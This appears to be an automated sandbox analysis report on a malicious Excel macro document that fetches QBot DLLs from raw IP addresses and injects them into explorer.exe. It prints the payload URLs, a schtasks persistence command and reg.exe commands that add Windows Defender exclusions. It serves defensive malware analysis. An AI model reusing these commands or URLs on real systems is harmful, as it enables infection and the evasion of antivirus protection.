Source: C:\Windows\SysWOW64\explorer.exe	Code function: 8_2_0008AEB4 FindFirstFileW,FindNextFileW,
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_0008AEB4 FindFirstFileW,FindNextFileW,
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_0008AEB4 FindFirstFileW,FindNextFileW,
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 23_2_0008AEB4 FindFirstFileW,FindNextFileW,

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 5_2_10005F82 EntryPoint,OutputDebugStringA,GetModuleHandleA,GetModuleFileNameW,GetLastError,memset,MultiByteToWideChar,GetFileAttributesW,CreateThread,SetLastError,

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 5_2_10012AEC GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 5_2_10029660 GetProcessHeap,RtlAllocateHeap,

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_1007792E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_1007785D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_10077464 push dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_1007792E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_1007785D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_10077464 push dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_1007792E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_1007785D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_10077464 push dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 16_2_1007792E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 16_2_1007785D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 16_2_10077464 push dword ptr fs:[00000030h]

Source: C:\Windows\SysWOW64\explorer.exe	Code function: 8_2_00085A61 RtlAddVectoredExceptionHandler,
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_00085A61 RtlAddVectoredExceptionHandler,

HIPS / PFW / Operating System Protection Evasion:

Maps a DLL or memory area into another process

Show sources

Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: unknown target: C:\Windows\SysWOW64\explorer.exe protection: execute and read and write
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: unknown target: C:\Windows\SysWOW64\explorer.exe protection: execute and read and write
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: unknown target: C:\Windows\SysWOW64\explorer.exe protection: execute and read and write
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: unknown target: C:\Windows\SysWOW64\explorer.exe protection: execute and read and write

Writes to foreign memory regions

Show sources

Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: B0000
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 9C102D
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: B0000
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 9C102D
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: F0000
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 9C102D
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: B0000
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 9C102D

Allocates memory in foreign processes

Show sources

Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: C:\Windows\SysWOW64\explorer.exe base: B0000 protect: page read and write
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: C:\Windows\SysWOW64\explorer.exe base: B0000 protect: page read and write
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: C:\Windows\SysWOW64\explorer.exe base: F0000 protect: page read and write
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: C:\Windows\SysWOW64\explorer.exe base: B0000 protect: page read and write

Injects code into the Windows Explorer (explorer.exe)

Show sources

Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 2592 base: B0000 value: 9C
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 2592 base: 9C102D value: E9
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 3060 base: B0000 value: 9C
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 3060 base: 9C102D value: E9
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 536 base: F0000 value: 9C
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 536 base: 9C102D value: E9
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 2100 base: B0000 value: 9C
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 2100 base: 9C102D value: E9

Yara detected hidden Macro 4.0 in Excel

Show sources

Source: Yara match

File source: Claim-838392655-09242021.xls, type: SAMPLE

Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -silent ..\Fiosa.der
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -silent ..\Fiosa1.der
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\explorer.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn pmdfegez /tr 'regsvr32.exe -s \'C:\Users\user\Fiosa.der\'' /SC ONCE /Z /ST 11:12 /ET 11:24
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -s 'C:\Users\user\Fiosa.der'
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -silent ..\Fiosa2.der
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\explorer.exe	Process created: C:\Windows\System32\reg.exe C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\ProgramData\Microsoft\Yiiocubi' /d '0'
Source: C:\Windows\SysWOW64\explorer.exe	Process created: C:\Windows\System32\reg.exe C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\Users\user\AppData\Roaming\Microsoft\Nqsaq' /d '0'
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -s 'C:\Users\user\Fiosa.der'

Source: C:\Windows\SysWOW64\regsvr32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\regsvr32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\explorer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\explorer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\regsvr32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\regsvr32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\explorer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\explorer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\explorer.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 8_2_000831C2 CreateNamedPipeA,

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 5_2_1000980C GetSystemTimeAsFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,

Source: C:\Windows\SysWOW64\regsvr32.exe

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Command and Scripting Interpreter11	Scheduled Task/Job1	Process Injection412	Masquerading121	Credential API Hooking1	System Time Discovery1	Remote Services	Credential API Hooking1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job1	Boot or Logon Initialization Scripts	Scheduled Task/Job1	Disable or Modify Tools1	LSASS Memory	Security Software Discovery12	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer12	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Scripting2	Logon Script (Windows)	Logon Script (Windows)	Modify Registry1	Security Account Manager	Virtualization/Sandbox Evasion1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Native API1	Logon Script (Mac)	Logon Script (Mac)	Virtualization/Sandbox Evasion1	NTDS	Process Discovery2	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol21	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Exploitation for Client Execution32	Network Logon Script	Network Logon Script	Process Injection412	LSA Secrets	File and Directory Discovery2	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Scripting2	Cached Domain Credentials	System Information Discovery15	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Obfuscated Files or Information11	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Software Packing1	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Claim-838392655-09242021.xls	27%	ReversingLabs	Document-Office.Trojan.Valyria

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44466.4649013889[1].dat	29%	Metadefender		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44466.4649013889[1].dat	29%	ReversingLabs	Win32.Infostealer.QBot
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44466.4649013889[2].dat	29%	Metadefender		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44466.4649013889[2].dat	29%	ReversingLabs	Win32.Infostealer.QBot
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44466.4649013889[3].dat	29%	Metadefender		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44466.4649013889[3].dat	29%	ReversingLabs	Win32.Infostealer.QBot
C:\Users\user\Fiosa.der	2%	ReversingLabs
C:\Users\user\Fiosa1.der	2%	ReversingLabs
C:\Users\user\Fiosa2.der	2%	ReversingLabs

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.%s.comPA	0%	URL Reputation	safe
http://111.90.148.104/44466.4649013889.dat	0%	Avira URL Cloud	safe
http://190.14.37.173/44466.4649013889.dat	0%	Avira URL Cloud	safe
http://servername/isapibackend.dll	0%	Avira URL Cloud	safe
http://51.89.115.111/44466.4649013889.dat	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://111.90.148.104/44466.4649013889.dat	false	Avira URL Cloud: safe	unknown
http://190.14.37.173/44466.4649013889.dat	false	Avira URL Cloud: safe	unknown
http://51.89.115.111/44466.4649013889.dat	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.%s.comPA	regsvr32.exe, 00000005.00000002.519787979.0000000002370000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.575187514.00000000020D0000.00000002.00020000.sdmp, explorer.exe, 00000008.00000002.906659825.0000000002070000.00000002.00020000.sdmp	false	URL Reputation: safe	low
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	regsvr32.exe, 00000005.00000002.519787979.0000000002370000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.575187514.00000000020D0000.00000002.00020000.sdmp	false		high
http://servername/isapibackend.dll	regsvr32.exe, 00000004.00000002.523226546.0000000001CA0000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.519424175.0000000001E40000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.578213273.0000000001CA0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.574806742.0000000001C10000.00000002.00020000.sdmp	false	Avira URL Cloud: safe	low

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
190.14.37.173	unknown	Panama	52469	OffshoreRacksSAPA	false
51.89.115.111	unknown	France	16276	OVHFR	false
111.90.148.104	unknown	Malaysia	45839	SHINJIRU-MY-AS-APShinjiruTechnologySdnBhdMY	false

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	491203
Start date:	27.09.2021
Start time:	11:09:24
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 15m 37s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	Claim-838392655-09242021.xls
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.expl.evad.winXLS@33/11@0/3
EGA Information:	Failed
HDC Information:	Successful, ratio: 24.6% (good quality ratio 23.3%) Quality average: 77.1% Quality standard deviation: 27.1%
HCA Information:	Successful, ratio: 88% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xls Changed system and user locale, location and keyboard layout to English - United States Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, conhost.exe, svchost.exe TCP Packets have been reduced to 100 Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtSetInformationFile calls found. VT rate limit hit for: /opt/package/joesandbox/database/analysis/491203/sample/Claim-838392655-09242021.xls

Simulations

Behavior and APIs

Time	Type	Description
11:10:07	API Interceptor	55x Sleep call for process: regsvr32.exe modified
11:10:08	API Interceptor	865x Sleep call for process: explorer.exe modified
11:10:16	Task Scheduler	Run new task: pmdfegez path: regsvr32.exe s>-s "C:\Users\user\Fiosa.der"
11:10:16	API Interceptor	1x Sleep call for process: schtasks.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44466.4649013889[1].dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	495616
Entropy (8bit):	6.443709384126338
Encrypted:	false
SSDEEP:	6144:8bqzVbbUYjG8AClk8+905KhoSiMsJZuSsnDxeHakVqhhmaM+5Vg0nKH5PnFyunP:OqxgYjG8ACv+iKhpsJZRXH52LMcg5n
MD5:	128C9E74738E40903FC7ADA8627868FE
SHA1:	82BFDBBBCA4DE4D48A27BF0126B3ED02E29F2CDA
SHA-256:	0AC362202467FA5C5C481852D6F5BEEA07FBD0C1A6A67DE96FAB569B0AF6071B
SHA-512:	D6F66AE4257AC3D5442E06977D67C8D031BFFA0F325395ADB0D1CCF90CEBA18BD11C5F97EC3CBBF783F8890E1C72F0ADF44B93DD63D5DA63EC7B5E8E8D13B2BA
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 29%, Browse Antivirus: ReversingLabs, Detection: 29%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......a.T.%}:Y%}:Y%}:Y.rZY&}:Y..DY$}:Y..GY>}:Y..TY.}:Y.rdY"}:Y%};Y.}:Y..UYq}:Y..@Y$}:Y..FY$}:Y..CY$}:YRich%}:Y........................PE..L...y_.E...........!.................1...............................................................................?.......9..<............................`......p................................/..@...............,............................text...5........................... ..`.rdata..............................@..@.data...<....P.......P..............@....reloc...$...`...0...`..............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44466.4649013889[2].dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	495616
Entropy (8bit):	6.443709384126338
Encrypted:	false
SSDEEP:	6144:8bqzVbbUYjG8AClk8+905KhoSiMsJZuSsnDxeHakVqhhmaM+5Vg0nKH5PnFyunP:OqxgYjG8ACv+iKhpsJZRXH52LMcg5n
MD5:	128C9E74738E40903FC7ADA8627868FE
SHA1:	82BFDBBBCA4DE4D48A27BF0126B3ED02E29F2CDA
SHA-256:	0AC362202467FA5C5C481852D6F5BEEA07FBD0C1A6A67DE96FAB569B0AF6071B
SHA-512:	D6F66AE4257AC3D5442E06977D67C8D031BFFA0F325395ADB0D1CCF90CEBA18BD11C5F97EC3CBBF783F8890E1C72F0ADF44B93DD63D5DA63EC7B5E8E8D13B2BA
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 29%, Browse Antivirus: ReversingLabs, Detection: 29%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......a.T.%}:Y%}:Y%}:Y.rZY&}:Y..DY$}:Y..GY>}:Y..TY.}:Y.rdY"}:Y%};Y.}:Y..UYq}:Y..@Y$}:Y..FY$}:Y..CY$}:YRich%}:Y........................PE..L...y_.E...........!.................1...............................................................................?.......9..<............................`......p................................/..@...............,............................text...5........................... ..`.rdata..............................@..@.data...<....P.......P..............@....reloc...$...`...0...`..............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44466.4649013889[3].dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	495616
Entropy (8bit):	6.443709384126338
Encrypted:	false
SSDEEP:	6144:8bqzVbbUYjG8AClk8+905KhoSiMsJZuSsnDxeHakVqhhmaM+5Vg0nKH5PnFyunP:OqxgYjG8ACv+iKhpsJZRXH52LMcg5n
MD5:	128C9E74738E40903FC7ADA8627868FE
SHA1:	82BFDBBBCA4DE4D48A27BF0126B3ED02E29F2CDA
SHA-256:	0AC362202467FA5C5C481852D6F5BEEA07FBD0C1A6A67DE96FAB569B0AF6071B
SHA-512:	D6F66AE4257AC3D5442E06977D67C8D031BFFA0F325395ADB0D1CCF90CEBA18BD11C5F97EC3CBBF783F8890E1C72F0ADF44B93DD63D5DA63EC7B5E8E8D13B2BA
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 29%, Browse Antivirus: ReversingLabs, Detection: 29%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......a.T.%}:Y%}:Y%}:Y.rZY&}:Y..DY$}:Y..GY>}:Y..TY.}:Y.rdY"}:Y%};Y.}:Y..UYq}:Y..@Y$}:Y..FY$}:Y..CY$}:YRich%}:Y........................PE..L...y_.E...........!.................1...............................................................................?.......9..<............................`......p................................/..@...............,............................text...5........................... ..`.rdata..............................@..@.data...<....P.......P..............@....reloc...$...`...0...`..............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	162688
Entropy (8bit):	4.254391447071874
Encrypted:	false
SSDEEP:	1536:C6pL3FNSc8SetKB96vQVCBumVMOej6mXmYarrJQcd1FaLcm48s:CYJNSc83tKBAvQVCgOtmXmLpLm4l
MD5:	D62FF39274099B2D0889AF912D1E1246
SHA1:	D305B171EB1F89BA68D2E893E7C440DE62B3DD4C
SHA-256:	2180128C16E743A610F283BEA5F7D5959DFDD4D41FE7DA814E9193177F1E1B85
SHA-512:	C191DCD8078F2D2821BEBD87B175706D13DB90104320EC7D1BC5CC60F4046592D293AAE34659C781C26A68C298BE6DD53D8FC262E6E77732C74F4DA7E307D6CC
Malicious:	false
Reputation:	unknown
Preview:	MSFT................Q................................#......$....... ...................d.......,...........X....... ...........L...........x.......@...........l.......4...........`.......(...........T...................H...........t.......<...........h.......0...........\.......$...........P...........\|.......D...........p.......8...........d.......,...........X....... ...........L...........x.......@........ ..l ... ..4!...!...!..`"..."..(#...#...#..T$...$...%...%...%..H&...&...'..t'...'..<(...(...)..h)...)..0......*..\+...+..$,...,...,..P-...-......\|.......D/.../...0..p0...0..81...1...2..d2...2..,3...3...3..X4...4.. 5...5...5..L6...6...7..x7...7..@8.......8..............................$................................................................................x..xG..............T........................................... ...........................................................&!..............................................................................................

C:\Users\user\Fiosa.der Download File
Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	495616
Entropy (8bit):	1.374053047991689
Encrypted:	false
SSDEEP:	1536:Z2VcC6MtqWgV3vAFNJ3JXS9n5SYCR44u029R+J:bC6MtAAFNJ5XC5SYCi02r+J
MD5:	24298C861294A6FF97FD5F9E282EAA6B
SHA1:	CB95A2379BD8438E8BB81FEA0B69DF54FD5D8711
SHA-256:	D3DECCC9B1CFCE759BC05D4CD90011F4D75FF502E03D6496C267F78B980293E8
SHA-512:	351DA7E48B6CBD56DECCC1C93A5A90E02F355002C7045F41B9DF0C3BC8B487281C0B1914745C4115D566CE5D1F77F6BD34A14766F99FD474AF96BD9614F2EFDB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......a.T.%}:Y%}:Y%}:Y.rZY&}:Y..DY$}:Y..GY>}:Y..TY.}:Y.rdY"}:Y%};Y.}:Y..UYq}:Y..@Y$}:Y..FY$}:Y..CY$}:YRich%}:Y........................PE..L...y_.E...........!.................1...............................................................................?.......9..<............................`......p................................/..@...............,............................text...5........................... ..`.rdata..............................@..@.data...<....P.......P..............@....reloc...$...`...0...`..............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Fiosa1.der Download File
Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	495616
Entropy (8bit):	1.374053047991689
Encrypted:	false
SSDEEP:	1536:Z2VcC6MtqWgV3vAFNJ3JXS9n5SYCR44u029R+J:bC6MtAAFNJ5XC5SYCi02r+J
MD5:	24298C861294A6FF97FD5F9E282EAA6B
SHA1:	CB95A2379BD8438E8BB81FEA0B69DF54FD5D8711
SHA-256:	D3DECCC9B1CFCE759BC05D4CD90011F4D75FF502E03D6496C267F78B980293E8
SHA-512:	351DA7E48B6CBD56DECCC1C93A5A90E02F355002C7045F41B9DF0C3BC8B487281C0B1914745C4115D566CE5D1F77F6BD34A14766F99FD474AF96BD9614F2EFDB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......a.T.%}:Y%}:Y%}:Y.rZY&}:Y..DY$}:Y..GY>}:Y..TY.}:Y.rdY"}:Y%};Y.}:Y..UYq}:Y..@Y$}:Y..FY$}:Y..CY$}:YRich%}:Y........................PE..L...y_.E...........!.................1...............................................................................?.......9..<............................`......p................................/..@...............,............................text...5........................... ..`.rdata..............................@..@.data...<....P.......P..............@....reloc...$...`...0...`..............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Fiosa2.der Download File
Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	495616
Entropy (8bit):	1.374053047991689
Encrypted:	false
SSDEEP:	1536:Z2VcC6MtqWgV3vAFNJ3JXS9n5SYCR44u029R+J:bC6MtAAFNJ5XC5SYCi02r+J
MD5:	24298C861294A6FF97FD5F9E282EAA6B
SHA1:	CB95A2379BD8438E8BB81FEA0B69DF54FD5D8711
SHA-256:	D3DECCC9B1CFCE759BC05D4CD90011F4D75FF502E03D6496C267F78B980293E8
SHA-512:	351DA7E48B6CBD56DECCC1C93A5A90E02F355002C7045F41B9DF0C3BC8B487281C0B1914745C4115D566CE5D1F77F6BD34A14766F99FD474AF96BD9614F2EFDB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......a.T.%}:Y%}:Y%}:Y.rZY&}:Y..DY$}:Y..GY>}:Y..TY.}:Y.rdY"}:Y%};Y.}:Y..UYq}:Y..@Y$}:Y..FY$}:Y..CY$}:YRich%}:Y........................PE..L...y_.E...........!.................1...............................................................................?.......9..<............................`......p................................/..@...............,............................text...5........................... ..`.rdata..............................@..@.data...<....P.......P..............@....reloc...$...`...0...`..............@..B................................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: Test, Last Saved By: Test, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:17:20 2015, Last Saved Time/Date: Fri Sep 24 10:05:02 2021, Security: 0
Entropy (8bit):	7.828791926330867
TrID:	Microsoft Excel sheet (30009/1) 47.99% Microsoft Excel sheet (alternate) (24509/1) 39.20% Generic OLE2 / Multistream Compound File (8008/1) 12.81%
File name:	Claim-838392655-09242021.xls
File size:	419328
MD5:	295dbcf85c2baffd99e4670c21afc93c
SHA1:	3dfb83a771615b879d20445ff5e5143d5846de6a
SHA256:	acf0a503e9bdf8a32edfb667776fd159a70f4f9173c01c024c82bb6dd658e451
SHA512:	08337f3aee4df9892271e2dbe70f21644b81b81b52a5659447d98c83bd35e60a9c7229163b42b4f277e1d019b6ed6b607f555ffa432784e44126f5542f117680
SSDEEP:	6144:Fk3hOdsylKlgxopeiBNhZF+E+W2kdAKTwapS+PS82DPz6ST4+e3G0Sb8duSgcVwp:e5Z8etSwuSgcfPwJjxwrcNDTfsXo/xT
File Content Preview:	........................>.......................................................b.......d.......f..............................................................................................................................................................

File Icon


Icon Hash:	e4eea286a4b4bcb4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "Claim-838392655-09242021.xls"

Indicators
Has Summary Info:	True
Application Name:	Microsoft Excel
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
